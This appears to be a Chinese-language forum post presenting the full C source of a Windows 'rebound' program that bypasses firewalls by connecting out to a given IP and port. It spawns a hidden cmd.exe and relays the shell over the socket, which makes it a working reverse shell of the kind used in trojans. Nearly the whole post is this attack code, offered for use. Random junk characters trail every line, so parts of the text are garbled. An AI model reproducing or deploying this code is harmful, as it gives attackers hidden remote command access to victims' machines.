这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `c$V$/IT
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/* ============================== z{QqY.Gu{G
Rebound port in Windows NT W=?<<dVYD
By wind,2006/7 ?J0y|
===============================*/ Bzf^ivT3L
#include I?CZQ+}Hq
#include 'g\4O3&_
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#pragma comment(lib,"wsock32.lib") 6=C<>c%+
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void OutputShell(); PJ#,2=n~
SOCKET sClient; ~n_HP_Kf?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; He@KV=
^\m![T\bX
void main(int argc,char **argv) TWTb?HP
{ f o3}W^0
WSADATA stWsaData; ;uGv:$([g
int nRet; F+qm[Bc8
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) ]SEZaT
{ sI2^Qp@O1
printf("Useage:\n\rRebound DestIP DestPort\n"); Ewz!O`
return; %hP^%'G
} HzsdHH(J
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WSAStartup(MAKEWORD(2,2),&stWsaData); c+ie8Q!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *un^u-;
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stSaiClient.sin_family = AF_INET; H5an%kU|j
stSaiClient.sin_port = htons(0); sLk-x\P]|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \;Weizq5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6A ah9
{ |.dRily+
printf("Bind Socket Failed!\n"); |w=zOC;v
return; ['D]>Ot68
} U<XG{<2
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stSaiServer.sin_family = AF_INET; x{n=;JD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;Rf'P}"]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LzL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xIn:ZKJ'
{ i.#:zU%o
printf("Connect Error!"); I/N *gy?*
return; k5)om;.w
} `]aeI'[}R
OutputShell(); rm_Nn8p,
} Hn:Crl y#
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void OutputShell() D%Z|
{ iy"*5<;*DD
char szBuff[1024]; %iB,IEw
SECURITY_ATTRIBUTES stSecurityAttributes; O6Y0XL
OSVERSIONINFO stOsversionInfo; 9+N-eW_U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ="e+W@C
STARTUPINFO stStartupInfo; eS!/(#T
char *szShell; khd4ue$
PROCESS_INFORMATION stProcessInformation; >Q*Wi
unsigned long lBytesRead; \)e'`29;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d;>QhoiL
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KPki}'GO
stSecurityAttributes.lpSecurityDescriptor = 0; -\MG}5?!
stSecurityAttributes.bInheritHandle = TRUE; FI.\%x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Vvo7C!$z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6u%&<")4HP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |j|rS5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gw` L"
stStartupInfo.wShowWindow = SW_HIDE; '"Nr, vQo
stStartupInfo.hStdInput = hReadPipe; gGuO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PY'2h4IL
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GetVersionEx(&stOsversionInfo); p7~!z.)o
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switch(stOsversionInfo.dwPlatformId) ry]l.@o;
{ {8etv:y
case 1: HZOMlOZ
szShell = "command.com"; ?]5qr?W%
break; OrW
default: u?EN
szShell = "cmd.exe"; F"kAkX>3}
break; rM SZ"
} 3g
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /kG_*>.Z
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send(sClient,szMsg,77,0); IGgL7^MF
while(1) ,: ^u-b|
{ ~"bVL[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *^r}"in
if(lBytesRead) o;*Q}Gr<M
{ fV~~J2IK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _v:SP
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send(sClient,szBuff,lBytesRead,0); `@%LzeGz
} ` %}RNC
else -RLOD\ZBh
{ ;@J}}h'y
lBytesRead=recv(sClient,szBuff,1024,0); (At$3b6
if(lBytesRead<=0) break; @+DX.9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fsXy"#mOkD
} d_CT$
} VaPG-n>Vf
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return; A(X KyEx
}